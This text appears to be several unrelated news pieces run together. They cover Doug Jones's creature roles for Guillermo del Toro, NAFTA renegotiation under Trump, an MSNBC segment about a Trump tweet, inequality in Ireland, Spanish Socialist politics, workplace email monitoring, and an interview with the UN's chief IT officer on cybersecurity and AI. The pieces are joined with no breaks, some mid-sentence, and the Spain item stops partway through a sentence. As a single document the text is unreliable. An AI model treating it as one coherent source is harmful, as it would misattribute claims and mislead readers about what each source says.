"The Faun gives paragraphs of expository speech," said Jones. "I told Guillermo, 'I'm going to ruin your movie with this language.'" Del Toro, however, would not be dissuaded. "He said, 'You can count to 10 for all I care, I'll dub over it later, but you've got to play the role,'" said Jones. Instead, Jones learned the language well enough to deliver the dialogue with genuine meaning and inflection — and with the complete understanding that a Spanish actor would need to rerecord his lines. "That was okay, because the cadence and the whole performance was mine," Jones said. That performance included walking on stilts that made Jones 7 feet tall, wearing a mask that reduced his vision to little more than a pinhole, and sharing a scene with an 11-year-old girl without somehow trampling her. After spending five hours every morning applying the costume, Jones had to remain in it all day; even resting between takes required special accommodation. Due to the character’s mechanized tail, Jones had to sit on a modified bicycle seat and lean forward on a special bar.
"I told Guillermo, 'I'm going to ruin your movie.'"
"To me, it was another sign of what kind of actor Doug is," said del Toro. "A guy who commits — and when he commits, he's of a piece with the part." Ironically, while the lion’s share of Jones' time and energy for Pan's Labyrinth was spent on the Faun, it's the other character he played in the film — for just one, terrifyingly memorable scene — that remains arguably the most enduring character of his entire career: the Pale Man, a pallid, loose-skinned monster who eats children and sees only through eyes on the palms of his hands. "He's the one who ended up on magazine covers and being iconically redrawn in cartoons," Jones said. "That's the character that really stuck." It stuck so much that Pan's Labyrinth, nominated for six Oscars, won three, including for Best Makeup — largely on the strength of Jones' two characters.
AF Archive / Alamy Jones as the Pale Man in Pan's Labyrinth.
It was yet another career pinnacle for him; reviews actually credited Jones for his performances. The next year, he reached another new height, starring in Fantastic Four: Rise of the Silver Surfer in the chrome-covered title role. Jones remembered his costars — like Chris Evans and Jessica Alba — specifically complimenting him on his vocal performance. When he rerecorded his dialogue, the sound engineer even suggested Jones say his lines a second time in whisper, and then merged them together. "It sounded otherworldly and eerie and yet heroic," Jones recalled with a wistful smile. "I wish you could have heard it.” Two days later, with no warning, Jones read in the Hollywood Reporter that Laurence Fishburne would be performing the voice of the Silver Surfer. "I was just: 'Not again. Not again!'" Jones said, burying his head in his hands. "Another uphill battle of fighting to convince people that I really can act. You want other people to say that about you. You don't want to have to say it about yourself."
Learning to love a life in makeup: Hellboy II: The Golden Army, Legion, Falling Skies, Star Trek: Discovery, The Shape of Water, and Nosferatu Fortunately, by the time del Toro was ready to make 2008's Hellboy II: The Golden Army, he did know Jones could act: Not only did Jones perform Abe Sapien's voice in the sequel, the director cast Jones in two more roles, most notably the terrifying Angel of Death. "I think he's, if not the most committed, one of the most committed actors I've ever worked with," del Toro said. "I have seen him literally bleed for a part. Like, the Angel of Death, the mechanism that moved the wings and the eyes in that creature was so heavy that it broke his skin, under the costume, under the makeup, under everything. And Doug soldiered on until we finished that day. I have perpetual admiration for that."
"I have seen him literally bleed for a part."
Despite his disappointments, Jones had built enough of a body of work that he was also generating a real fanbase, including among other filmmakers. For 2010's Legion, Jones said director Scott Stewart specifically sought him out for a small role of a (demonic) ice cream delivery man. "He thought if anybody has been following my career, it would be a special treat for them to see me come out of the ice cream truck as a guy that looks like Doug Jones, and then I morph into something hideous," Jones said with a smile. By 2013, Jones had landed his very first series regular role, on TNT's sci-fi drama Falling Skies, as a friendly alien named Cochise. The character had "paragraphs of dialogue" to deliver according to Jones, and it called on him to wear a full mask with static, wide-set eyes that were digitally animated in postproduction. It was the first time the actor had to face the prospect of wearing makeup every day, for multiple months in a year, for an indefinite run of a show. "Wearing rubber on my face is not a problem," Jones said. "Doing that while having to have my mind as active as it had to be for that much important dialogue — that's the hard combination. … I had to overcome a little bit of depression, wondering, Am I doomed to wear rubber and glue for the rest of my life?"
youtube.com Photo 12 / Alamy; Jan Thijs / CBS; Fox Searchlight Pictures / Via youtube.com Jones as the Angel of Death in Hellboy II: The Golden Army, Saru in Star Trek: Discovery, and Amphibian Man in The Shape of Water.
He paused, as if catching himself. "I shouldn't have said 'doomed,'" he said. "But I think it's because of the isolation. When you're on set with your costars between scenes, you're sitting in your chairs, you're getting snacks, you're telling stories about what happened last night, or whatever, and I'm the one who is doing this from behind a mask. I have no peripheral vision, and I can't hear as well as everybody else because I've got rubber over my ears, so I'm sitting amongst the banter that I would love to be more of an active part of, and I just can't participate that much. I'm a very sociable person, so when I'm in a group of people and I can't interact with them as easily as they're all interacting with each other, it's isolating and lonely." Like with everything else in his career, however, Jones soldiered on, staying with Falling Skies for three seasons until it ended in 2015. A year later, he got a call from Bryan Fuller, who was starting to cast Star Trek: Discovery, the first new Trek TV series in 12 years, and he wanted to Jones to be a part of the show. "I mean, he was almost cast without a character," said executive producer Aaron Harberts, who took over as showrunner of Star Trek: Discovery with Gretchen J. Berg after Fuller left the show. "Bryan just really wanted to work with him, and we didn't know what Doug was gonna do. We really didn't."
"I had to overcome a little bit of depression, wondering, Am I doomed to wear rubber and glue for the rest of my life?"
"It shocked me," Jones said of Fuller's offer. But he still had to confront once again the prospect of an open-ended run with latex and silicone cemented to his head. When he showed up for his first makeup test for Saru, the brand new alien Fuller had concocted for him to play on Discovery, Jones recognized some pivotal issues with the initial design of the character. The biggest example: Saru had 10 eyes, which rose up in giant crescent shapes above his head. The hefty design had to be held up by a helmet underneath the makeup, which kept slipping forward any time Jones looked down. "In order to make it not slip so much, it would have to be tightened to a degree where, you know, I would need ibuprofen every day,” said Jones. “I could do it if it was a two-day role — I would gut through that. But looking at a multiple-year contract, well, that's a lot." Jones offered his feedback, and the production completely redesigned the character "so that Doug Jones, the actor, came shining through," Harberts explained. Saru only has two eyes now, and they actually belong to the actor (albeit with scleral contact lenses that cover his entire eye), affording Jones an emotional tool long denied him for so many of his roles. The makeup application time is "ridiculously short" — just under two hours. Other than startlingly realistic silicone pieces for Saru's hands and arms — "I've never had [costume] gloves that look so real" — and a pair of hooflike boots that add five more inches to Jones' considerable height, the rest of the character is just Jones' own slim body.
Brent Humphreys for BuzzFeed News
By stark contrast, Jones' most recent film and latest collaboration with del Toro, The Shape of Water, subsumes the actor's appearance almost entirely, and yet it has also been one of Jones' greatest acting challenges to date. He plays an amphibious humanoid creature captured by a sinister government agent (played by Michael Shannon) and housed in a secret facility, where he encounters Elisa (Sally Hawkins), a woman who cannot speak who works as part of the cleaning crew. Unlike Abe Sapien, however, this creature is still very much a wild animal — with intelligence, but no language — and yet his relationship with Elisa swiftly transcends interspecies boundaries. "He is the romantic leading man of the film," said Jones. "Guillermo wanted him to be sexy. … [I had to] make this animal from the wild be connectable, relatable, lovable, so not only does Sally Hawkins' character fall in love with him, but the audience does too." His eyes went wide. "That's a lot." If the gravity of the role wasn't already apparent to Jones from the script, del Toro made the stakes clear before filming began. "He pulled me into a room by myself, and he said, 'I need you to be an actor, not a performer,'" Jones said. "'I don't want you to give me a Dougie performance.' And he did a flourish of the hand when he said that. 'I want a real, living, breathing character.' I got what he was saying. I could tell that this character meant the world to him."
"[Guillermo] pulled me into a room, and said, 'I need you to be an actor, not a performer.'"Trump Administration Says It Will Launch NAFTA Renegotiation
Enlarge this image toggle caption Eric Gay/AP Eric Gay/AP
The Trump administration has set into motion the process to renegotiate the North American Free Trade Agreement, following through on the president's earlier promise.
U.S. Trade Representative Robert Lighthizer formally notified congressional leaders in a letter Thursday that the president intends to launch negotiations with Canada and Mexico "as soon as practicable."
"The United States seeks to support higher-paying jobs in the United States and to grow the U.S. economy by improving U.S. opportunities under NAFTA," the letter reads. "In particular, we note that NAFTA was negotiated 25 years ago, and while our economy and businesses have changed over that period, NAFTA has not."
Trump has called NAFTA a "horrible deal" for the U.S. He discussed "tweaking" parts of the deal in February, and in April, he threatened to scrap it. But the president ultimately said he planned to renegotiate the agreement.
"I decided rather than terminating NAFTA, which would be a pretty big, you know, shock to the system, we will renegotiate," he told reporters in April, as NPR reported. "Now, if I'm unable to make a fair deal, if I'm unable to make a fair deal for the United States, meaning a fair deal for our workers and our companies, I will terminate NAFTA. But we're going to give renegotiation a good, strong shot."
It's not clear exactly what the U.S. is seeking to change in the deal, though in his letter, Lighthizer said the Trump administration wants to see new provisions "to address intellectual property rights, regulatory practices, state-owned enterprises, services, customs procedures, sanity and phytosanitary measures, labor, environment, and small and medium enterprises."
Earlier Thursday, Mexican Foreign Secretary Luis Videgaray told reporters that his government "welcomes this development — we are prepared. We are ready... to work together with both the governments of the U.S. and Canada to make our trade agreement better. Better for the people of Mexico, the U.S. and the people of Canada."
Canadian Minister of Foreign Affairs Chrystia Freeland described NAFTA's record as "one of economic growth and job creation" across the continent. "We are steadfastly committed to free trade in the North American region and to ensuring that the benefits of trade are enjoyed by all Canadians."
The agreement, which has been in place since 1994, lifted many of the tariffs on trade between the U.S., Canada and Mexico.
Lighthizer told reporters that "NAFTA has been successful for U.S. agriculture, investment services and the energy sector, but not for manufacturing," as Reuters reported. He said he hopes negotiations will be completed by the end of the year.
The nonpartisan Congressional Research Service described NAFTA's overall impact on the U.S. economy as "relatively modest," (as NPR's Marilyn Geewax pointed out):On Wednesday afternoon, MSNBC anchor Katy Tur was freaking out over President Trump’s overnight Twitter typo, even to the point of absurdly warning that the commander-in-chief’s use of social media could lead to a nuclear war.
Talking to former Clinton campaign staffer Zerlina Maxwell at the end of the 1 p.m. ET hour, Tur claimed that she didn’t want to “pile on” the coverage of Trump’s “weird tweet,” but then proceeded to breathlessly ask: “...what does that say about who controls the information coming out of the White House? And what if somebody hacked into Twitter and posted a message that could have global implications? Saying something like...‘I’m going to launch nuclear weapons’?”
As Tur feared “the chain of events that something like that could set off,” Maxwell joined in the fearmongering: “Yes, this is precisely the thing that keeps me up at night, literally.” Tur interrupted and confessed: “This kept me up last night! I was up until two in the morning wondering when this tweet was going to go away.” Maxwell continued to rant: “Literally I’m afraid that Donald Trump will tweet something that will launch us into a war or a potential conflict that we won’t be able to get out of.”
Later in the 2 p.m. ET hour, Tur kept up the hand-wringing as she turned to New York Times reporter Charlie Savage: “Talk to me about the security concerns, the implications of what it means that Donald Trump has a way to communicate with America and the world that is not monitored, that is not checked?”
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Savage worried: “...we are still in this unprecedented territory where normally this extraordinarily powerful person is surrounded by these layers of, you know, aides and advisers and filters to the world and Donald Trump is a very different kind of president and has insisted on keeping this unfettered check to the internet – ”
Tur repeated her wild speculation that a tweet could spark a war:
...what if his account gets hacked and somebody posts a message saying that “We are aiming nukes at North Korea”? Is there anybody that go in there and say, “Oh, my God, no, take that down”? Is anybody monitoring this account after hours in the middle of the night? How does something like this stay up for six hours?
Here are excerpts of the May 31 coverage:Across the West, austerity is the new norm and social mobility seems to be slowing down or even going backwards. These were big factors behind Brexit and the rise of Donald Trump.
Figures from Credit Suisse show that the richest 1 per cent in the world now have more wealth than the rest of the world put together. In Ireland, more than a third of all income is held by the top 10 per cent of earners, according to research by economic think tank Tasc. The research also found that Ireland has become the EU’s most unequal country in terms of income distribution, before adjustments for taxes and welfare payments.
A 2012 study in the European Journal of Business Research said that barriers to wealth, and limits on purchasing power, have a negative effect on careers, as well as social and economic mobility. In other words, it hits the consumer.
“Income inequality is not just bad for people on the very lowest incomes, who get left behind,” says Jim Clarken, chief executive of Oxfam Ireland. “It’s also bad for overall growth levels and the duration of growth spells. Across the world, ordinary working families are up against the odds.
“While the size of the global economy has more than doubled over the past 30 years,” Clarken says, “the share of income going to workers has been declining in rich and poor countries alike.”
Irish inequality can’t be looked at in isolation. Although India, for example, has emerged as an economic powerhouse, Oxfam points out that 400 million of its citizens live in extreme poverty. In Zambia, one of the fastest-growing economies in the world, rural poverty persists and overall poverty rates have increased. In Brazil, by contrast, a focused investment in health, education and social protection has largely protected those on the bottom rung.
The quality of employment
Caroline Fahey, social policy officer at the Society of St Vincent de Paul, is looking to the future.
“Previously, people who might have low earning potential had access to social housing, so they could still work full-time and support a family,” she says. “Now we have less social housing. On top of this, the quality of employment has changed from full-time to low pay, insecure jobs, often on zero hours, where workers have to be available at all times, which caps their opportunity to secure more work. And precarious work is spreading in more professional sectors, such as academia and the media.”
Fahey says people who were quite comfortably middle-class a decade ago but fell into debt or bankruptcy during the recession are using SVP services. “People on middle incomes are facing increased costs as well. For instance, college fees or loans are on the cards, which will increase education costs.”
June Tinsley, head of advocacy at Barnardos, also says they are seeing families from a diversity of backgrounds. “While our focus is in areas of disadvantage, we are also seeing families who were once better-off but may have lost the family home or business, and are managing huge changes in their lifestyle.”
What are the consequences of this slowdown in social mobility? “When resources are limited, it is harder for people to take risks, such as setting up their own business,” says Fahey. “If childcare is unaffordable, you can’t work, or you have to severely limit your hours and your career chances. If you return to education, there are limited supports and there’s a cost beyond fees: you’re out of the workforce. Transport costs can also eat into incomes and limit opportunity.”
Figures from 2014 show that, of all people in receipt of rent allowance, just 4 per cent are 65 or over. This may be about to change, says Fahey.
“Home ownership is becoming more difficult, but there is not enough social housing. Renting is expensive and insecure, but people have no choice. Will today’s tenants still be renting when they are pensioners, living under insecure leases and having to move around if the rent goes up? This could put huge pressure on pensions.”
Denial of opportunity
When money is tight, extracurricular activities – swimming, dance classes, summer camps – may have to be denied to children; this means less academic children can lose the chance to develop other skills and intelligences.
“If programmes are cut and kids don’t have an outlet for sports or arts, it does impact on their development,” says Tinsley. “Poverty is a denial of opportunity.”
This all seems very bleak. Is there any light? Fahey argues we can make policy choices to prioritise public services over tax cuts, and that free primary education would make a bigger difference than a few euro a week in cuts to the universal social charge.
“Public services, including health, education, childcare and arts programmes, are the ways to break cycles of poverty and disadvantage,” says Tinsley. “We need more support for parents and parenting. The extra supports for Deis [disadvantaged] schools give children a fighting chance, but well over half of children from disadvantaged backgrounds don’t attend a Deis school. If supports are not there, kids are on the back foot as they progress through the education system.
“It’s better to tackle problems before they arise, rather than constantly being in crisis mode.”
BARE MINIMUM: HOW MUCH TO GET BY?
Last month the Vincentian Partnership released a study into the minimum essential standard of living, covering a basket of more than 2,000 goods and services vital to a household’s minimum needs. The study found that the basic cost of living – including rent and childcare costs – has risen 7.7 per cent since 2010, including 3 per cent in the past year.
A single adult living in Dublin requires a gross salary of €515 per week to afford a minimum essential standard of living (more than 56 hours of minimum-wage employment). A two-parent household with one child in primary school and another in secondary school needs at least €565 per week in an urban area and€653 in a rural area (transport costs account for the bulk of the difference).
Private renters need to earn €14,000-€24,000 more per annum, depending on whether they are in a relationship and how many children they have. Falls in the cost of many goods and services, including oil, have been offset by rises in education, health and insurance. Teenagers are particularly expensive to keep. In most cases, social welfare doesn’t cover the difference.Democracy is often on a collision course with economic elites, sometimes in less subtle ways than others. Spain’s current plight is one such example. Last month, the country’s Socialist leader Pedro Sánchez was toppled in a party coup, paving the way for his fellow MPs to abstain in a vote to allow the conservative Mariano Rajoy to resume office. For many traditional Socialist voters, Rajoy’s Popular party is the political wing of a venal, corrupt right-wing establishment: allowing them to form a minority government was an act of betrayal. But Sánchez’s subsequent revelations exposed the machinations of powerful Spanish interests.
What’s happened to Spain’s socialist party? Well, it’s like Britain’s Labour | Miguel-Anxo Murado Read more
After two elections that marked the collapse of the country’s two-party system but failed to produce a governing majority, Sánchez had attempted to assemble a leftwing alliance, much like the one that governs in neighbouring Portugal. His ambition had been to form a government alongside Podemos – a recently formed party that emerged from movements protesting against cuts that have |
Concerns about liability in harassment suits, skyrocketing losses from employee theft, and productivity losses from employees shopping or peeping at porn from their cubicles have led to an explosion in the number of companies conducting some form of electronic monitoring on their employees.
Over the past year, the battle of security vs. privacy in the workplace has been heating up.
A study (PDF file) published in April 2000 by the American Management Association pushed the issue into the headlines last spring. The study found the number of companies conducting some form of "active monitoring" of their employees had jumped from 45 percent in 1998 to 74 percent in 1999. E-mail monitoring rose from 27 to 38 percent over the same period.
International Data Corporation (IDC) estimates that corporations worldwide spent $62 million on Internet filtering and monitoring software in 1999. An IDC study predicts that figure will rise to $561 million by 2005.
New products such as Raytheon's SilentRunner allow companies to monitor absolutely everything passing over their network, from e-mails to instant messages, in any language without the end user's knowledge.
In response to rising concerns over increased employee monitoring, Congress considered legislation last year requiring companies to notify employees if they are being watched. The bill, called the Notice of Electronic Monitoring Act (NEMA), died in committee but is expected to be reintroduced this year.
California Governor Gray Davis vetoed similar state legislation twice. Only Connecticut currently requires employers to notify their workers of monitoring.
According to Michael Overly, partner in the Internet law group at Foley & Lardner and author of E-Policy: How To Develop Computer, E-Policy, and Internet Guidelines to Protect Your Company and Its Assets, a worker's right to privacy is technically protected under state law, but there's a catch.
"All states have a right to privacy based on a'reasonable expectation of privacy,'" Overly said. "But the courts have said that if there is a written policy notifying employees of monitoring, there is no expectation of privacy."
This means that if an employee is led to expect something is private, such as e-mail communications, then that privacy cannot be violated. But, if the company informs its employees that, for example, e-mail sent over the company's network is monitored, then the employee can no longer claim an "expectation of privacy." In short, once the company stakes its claim over its cyber-dominion, its employees have no right to privacy there.
"I tell employees that if they want to have a truly private communications, don't have them from work," Shanti Atkins said.
Atkins heads content development for Employment Law Learning Technologies, a consulting firm that helps corporations create privacy policies that reduce their risk of getting sued for invading their employees privacy, or, on the other hand, for not doing enough to protect them from harassment.
Corporations are really in a bind, Atkins said. They can be sued either for violating an employee's privacy by exercising too much control over electronic communication or Internet use, but also for not exercising enough control and allowing workers to be subjected to harassment.
Atkins said the key for successfully managing the balancing act between privacy and security is for firms to make clear to their employees that their privacy at work is limited.
"Lowering expectation of privacy is the No. 1 thing they can do to protect themselves from privacy litigation," she said. "It's not really about Big Brother watching. We've seen e-mail evidence becoming hot evidence in harassment suits, and employers have a duty to be sure harassment isn't being propagated."
While acknowledging that the risks of liability facing employers are real, Deborah Pierce, a privacy attorney for the Electronic Frontier Foundation, cautioned employers against using security and liability concerns as an excuse to subject their employees to demeaning levels of surveillance.
"By constantly monitoring, what kind of an environment are you creating there? Companies need to weigh that in their equation," she said. "It boils down to human dignity. People just don't want to be watched all the time, and happy workers are productive workers," she said.
But workers may also have to pay a price to maintain the right to anonymous e-mail. Overly said harassment of corporations and individual employees in the workplace from anonymous e-mail accounts is a growing problem without a clear solution.
"One disgruntled employee can cause harm to a huge corporation with one free e-mail account," he said.
He cited one case at a manufacturing facility in the Midwest where every single female employee received threatening e-mails through an anonymous account. The messages were disturbing enough – "I'm gonna get you when you walk to your car," etc. – to throw the whole factory into turmoil.
A company's good name is easy prey as well. Overly estimates his office receives three calls a week from companies that have been victimized by anonymous e-mail communications. A typical tactic involves doctoring an abusive message to make it appear as though it was sent by the company, then sending it out to thousands as spam.
"There's nothing like getting a call from an executive saying they're getting 50 complaints an hour from people who have received a fraudulent harassment e-mail and having to tell them there is nothing they can do to stop it," he said. "That's what has so many people upset."
There is something companies can do: tighten control over what is sent and received over e-mail. If a corporation's own e-mail can be submitted as evidence in harassment cases against them, it has an incentive – some say even a legal obligation – to keep tabs on what their employees are writing and receiving through e-mail.
Two recent Supreme Court decisions found that once a case of harassment comes to an employer's attention, the company has to try to stop the abuse and work to make sure it doesn't happen again. Otherwise, the company can be held liable.
"The decision essentially says that an employer may have a defense (against a harassment suit) if it can establish it used reasonable care to prevent what happened and acted promptly to remedy the situation," Overly said.
This burden accounts for part of the explosive rise in the use of filtering and monitoring software, he said. The latest trend is to implement software that will stop potentially abusive e-mail messages before the damage is done.
"If you look at every single harassment case, it involves a supervisor harassing an employee. It's hard for the employee to go over their head." Microsoft, he said, is developing a product that an employer can use to block messages with content the company deems offensive from ever reaching its employees.
Brian Burke, who analyzes the filtering market for IDC, sees similar corporate concern over workplace use of the Internet. This has motivated companies to move away from simply filtering Net content and toward what IDC calls Employee Internet Management (EIM).
Filtering is "negative," Burke said, meaning it allows everything through except for sites on the filter's block list. But the pace at which new websites are created means that filtering programs demand constant updating. Burke sees the trend moving away from this method of controlling access and toward a more "positive" model.
While "positive" access control sounds good, what it means, essentially, is telling employees which sites they can visit – with access blocked to all others. This is opposed to allowing nearly unlimited Internet access with only pornography or other particular sites blocked. In short, if Burke is right, EIM is another sign of reduced electronic freedom at work.
The overall message to employers from ELT's Atkins is cautionary: "This tech revolution has opened a can of worms, and you better be careful."
If the explosion in monitoring is any indication, employers are getting the message. Workers sending personal e-mail or surfing the day away may be wise to heed the same advice.The United Nations Chief Information Technology Officer spoke with TechRepublic about the future of cybersecurity, social media, and how to fix the internet and build global technology for social good.
Artificial intelligence, said United Nations chief information technology officer Atefeh Riazi, might be the last innovation humans create.
"The next innovations," said the cabinet-level diplomat during a recent interview at her office at UN headquarters in New York, "will come through artificial intelligence."
From then on, said Riazi, "it will be the AI innovating. We need to think about our role as technologists and we need to think about the ramifications—positive and negative—and we need to transform ourselves as innovators."
Appointed by Secretary-General Ban Ki-moon as CITO and Assistant Secretary-General of the Office of Information and Communications Technology in 2013, Riazi is also an innovator in her own right in the global security community.
Riazi was born in Iran, and is a veteran of the information technology industry. She has a degree in electrical engineering from Stony Brook University in New York, spent over 20 years working in IT roles in the public and private sectors, and was the New York City Housing Authority's Chief Information Officer from 2009 to 2013. She has also served as the executive director of CIOs Without Borders, a non-profit organization dedicated to using technology for the good of society—especially to support healthcare projects in the developing world.
Riazi and her UN staff meet with diplomats and world leaders, NGOs, and executives at private companies like Google and Facebook to craft technology policy that impacts governments and businesses around the world.
TechRepublic's in-depth interview with her covered a broad range of important technology policy issues, including the digital divide, e-waste, cybersecurity, social media, and, of course, artificial intelligence.
The Digital Divide
TechRepublic: Access to information is essential in modern life. Can you explain how running IT for the New York City Housing Authority helps low income people?
UN CITO: When I was at New York City Housing, I came in as a CIO. Within six months most of the leadership left. When the general manager left, I was asked to serve as the acting GM. He looked at me and said, "you're in. You're the next acting general manager of New York City Housing." I said, "Okay."
Image: New York City Housing Authority
New York City Housing is a $3 billion organization providing support to about 500,000 residents. You have the Section 8 program, you have the public housing, and a billion and a half of construction. I came out of IT and I had to help manage and run New York City Housing at a very difficult time.
When you look at the city of New York, the digital divide among the youth and among the poor is very high. We have a digital divide right in this great city. Today I have two eight year olds and their homework. A lot of [their] research is done online. But in other areas of the city, you have kids that don't have access to computers, don't have access to the internet, cannot afford it. They can't find jobs because they don't have access to the internet. They can't do as well in school. A lot of them are single family, maybe grandparents raising them.
How do we provide them that access? How do we close the gap so they can compete with other classmates who have access to knowledge and information?
In Finland, they passed a law stating that internet access is a birthright. If it's a birthright, then let's give it to people right here in New York and elsewhere in the world.
All of the simple things that we have and we offer our children, if we could [provide internet access] as a public service, we begin to close the income gap, help people learn skills, and make them more viable for jobs.
E-waste
TechRepublic: Can you help us understand the role of electronic waste (e-waste) on women and girls in developing countries?
UN CITO: E-waste is the mercury and lead. Mercury and lead contributes to 5% of global waste. They contribute to 70% of hazardous materials. You have computers, servers, storage, and cell phones. We have no plans on recycling these. This is polluting the air and the water in China and India. Dioxin, if you burn electronics you get dioxin, which is like agent orange. The question to the tech sector is, okay, you created this wonderful world of technology, but you have no plans in addressing these big issues of environmental hazard.
The impact of electronic waste is tremendous because a women's body looks at mercury as calcium. It brings it in, it puts it in the bones and then when you're pregnant, guess what? It thinks, oh, "I got some calcium. Here it is."
READ: How conflict minerals funded a war that killed millions, and why tech giants are finally cleaning up their act
Newborns have mercury and lead in their blood, and disease. It's just contributing to so many children, so many women getting sick and because women pass it on to the next generation, [children] are impacted.
Where is the responsibility of the tech sector to say, "I will protect the women. I will protect the children. I will take out the lead and mercury. I will help contribute to recycling of my materials."
The Deep Web
TechRepublic: While there are many privacy benefits to the Deep Web, it's no secret that criminal activity flourishes on underground sites. I know this is the perpetual question, but is this criminal behavior that has always existed and now we can see it a little better, or does the Deep Web perpetuate and increase criminal behavior?
UN CITO: I wish I had enough insight to answer correctly, but I can give it from my perspective. The scope has changed tremendously. If you look at slavery and the number of people trafficked, there's 20 million people trafficked now. You look at the numbers and you look at how much the slaves were sold [in the past]. I think the slaves were sold for [hundreds] of... today's dollars. Today, you can buy a girl for $300 through the Deep Web.
Here's the thing. Human trafficking has exploded because we're a global world. We can sell and buy globally. Before, the criminals couldn't do it globally. They couldn't move the people as fast.
READ: A Personalization Recommendation Method Based on Deep Web Data Query (White Paper)
TechRepublic: If we're putting this in very cynical market terms, the market for humans has grown due to the Deep Web?
UN CITO: Yes. The market has grown for sex trafficking, or for organs, or for just basic labor. There are many reasons why this has happened. We're seeing tremendous growth in criminal activity. It's very difficult to find criminals. Drug trafficking is easier. Commerce is easier in the Deep Web. All of that is going up.
"As a social group, we can create positive algorithms for social good." Atefeh Riazi, United Nations CITO
Humans are 99% are good but you've got the 1%, and I think we have a plan to react to the criminal activities. At the UN we are beginning to build the cyber-expertise to become a catalyst. Not to resolve these issues, because I look at the internet as an infant that we have created, this species we've created which is growing and it's evolving. It's going through its "terrible twos" right now. We have a choice to try to manage it, censor it, or shut it down, which we see in some countries. Or we have a choice to build its antibody. Make sure that it becomes strong.
We [can] create the "Light Web," and I think we can only do it through the use of all the amazing technology people globally who want to [use to] do good. As a social group, we can create positive algorithms for social good.
Encryption and cybersecurity
TechRepublic: In the digital world, the notion of sovereignty is shifting. What is the UN's role in terms of cybersecurity?
UN CITO: It's shifting, exactly, because government rule over a civil society in a cyber-world doesn't exist. Do you think that criminals care that the UN or governments have a policy, or a rule? Countries and criminals will begin to attack each other.
From our perspective, our mission is really peace and security, development of human rights. The UN has a number of responsibilities. We have peacekeeping, human rights, humanitarian affairs, and sustainable development. We look at cybersecurity, and we say that peace in the cyber-world is very different because countries are starting to attack each other, and starting to attack each [other's] industrial systems. Often attacks are asymmetrical. Peace to me is very different than peace to you.
We talk about cybersecurity. Okay, then what do we do? This is the world we've created through the internet. What do we do to bring peace to this world? What does anyone do?
I think that we spend a lot of money on cybersecurity globally. Public and private money, and we are not successful, really. Intrusions happen every day. Intellectual property is lost. Privacy, the way we knew it, has changed completely. There's a new way of thinking about privacy, and what's confidential.
SEE: 10 of the best places to study cybersecurity
We worry about industrial systems like our electric grid. We worry about our member states' industrial systems, intrusions into electricity, into water, and sanitation—things that impact human life.
Our peacekeepers are out in the field. We have helicopters. We have planes. A big worry of ours is an intrusion into a plane or helicopter, where you think the fuel gauge is full but it's empty. Or through a GPS. If your GPS is impacted, and you think you're here but you're actually there.
Where is the role of encryption? Encryption is amoral. It could be used for good. It could be used for bad. It's hard to have an opinion on encryption, for me at least, without realizing that the same thing I endorse for everyone, others endorse for criminals. Do we have the sophistication, the capabilities to limit that technology only for the good? I don't think we do.
Encryption is amoral. It could be used for good. It could be used for bad... Do we have the sophistication, the capabilities to limit that technology only for the good? I don't think we do. Atefeh Riazi, United Nations CITO
TechRepublic: What is the plan for cybersecurity?
UN CITO: Well, I've been waiting. I think that is something for all the member states to come together and talk about cybersecurity.
But what is the plan of us as homosapiens, now we are connected sapiens and very soon we are a combination of carbon and silicon? As super intelligent beings, what is the plan? This is not being talked about. We hope that through the creation of Digital Blue Helmets we'd begin a conversation and we'd begin to ask people to contribute positively to what we believe is ethically right. But then again, what we believe is ethically right somebody else may believe is ethically wrong.
Social media
TechRepublic: The UN recently held a conference on social media and terrorism, particularly related to Daesh [ISIS]. What was the discussion about? What takeaways came from that conference?
UN CITO: Well, we got together as a lot of information and communication professionals, and academics to talk about the big issue of social media and terrorism with Daesh and ISIL. I think this type of dialog is really critical because if we don't talk about these issues, we can't come up with policy recommendations. I think there's a lot of really good discussion about human rights on the internet. "Thou shalt do no harm."
But we know that whatever policies we come up with, Daesh would be the last group that cares whether you have policies or not. There's deeper discussion about how does youth get attracted to radicalism? You have 50% unemployment of youth. You have major income disparity. I think if we can't begin to address the basic social issues, we're going to have more and more youth attracted to this radicalism. There was good discussion and dialog that we need to address those issues.
There's some discussion about how do we create the positive message? People, especially youth, want to do something positive. They want to participate. They want to be part of a bigger thing. How do we encourage them? When they look at the negative message, how do you bring in a positive message? Can governments to do something about that?
Look at the private sector. When there was a Tylenol scare or Toyota speeding on its own, when you went online and you searched for Tylenol, you didn't get all the bad stories about Tylenol. You went into the sites that Tylenol wanted you to go. Search is so powerful, and if you can begin to write positive algorithms, that begin to move the youth to positive messaging.
Don't try to use marketing or gimmicks because it's so transparent. People see right through it. Governments have a responsibility to provide a positive information space for their youth. There was a lot of good dialog around that.
On the technology side, I think this is a two year old infant, the internet is amoral, and we can use it for good and use it for bad. You can't shut down the internet. You can't shut down social media. There's a very gray space because, as I said, somebody's freedom fighter is somebody else's terrorist. Is it for Facebook or Twitter to make that decision?
Image: United Nations/Jean-Marc Ferré
Artificial intelligence
TechRepublic: I know you are quite curious about artificial intelligence. Is there a UN policy with respect to AI?
UN CITO: AI is an amazing thing to talk about, because now you can look at patterns much faster than humans [can]. Do we as technologists have the sophistication of addressing the moral and ethical issues of what's good and bad?
I think this is what scares me when it comes to AI. Let's say we as humans say, "we want people to be happy and with artificial intelligence, we should build systems for people to be happy." What does that mean?
I'm looking at the machine language, and the path we're creating for 10, 20, 30 years from now but not fully understanding the ethical programming that we're putting into the systems. IT people are creating the next world. The ethical programming they do is what is in their head, and so policies are being written in lines of code, in the algorithms.
READ: AI gone wrong: Cybersecurity director warns of'malevolent AI'
We look at artificial intelligence and machine learning, and the world we see as technologists 20 years from now is very different than the world we have today. Artificial intelligence is this super, super intelligent species that is not human. Humans have reached our limitation.
That idea poses so many questions. If we create this artificial intelligence that can do 80% of the labor that humans do, what are the changes? Social, cultural, economic. All of these big, big questions have to be talked about.
I'm hoping that's the United Nations, but there's so much political opposition to those conversations. So much political opposition because we are holding on to our physical borders, and we have forgotten that those physical borders are gone. The world is virtual. We sit here as heads of departments and ministers and talk about AI. We discuss the moral, the ethical issues that people are going to confront with AI technology—positive and negative.
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Final word
Riazi has spent her career as an IT professional and policy-maker, and the interview concluded with a reflection about technology and innovation.
"Policies are being written in lines of code, in the algorithms." Atefeh Riazi, United Nations CITO
We have a paradox in technology and IT, said Riazi. "We think a lot about IT being hardware and software and tools, and we think a lot about the visible risks of technology," she said. "But we do not think as much about the invisible risks of innovation."
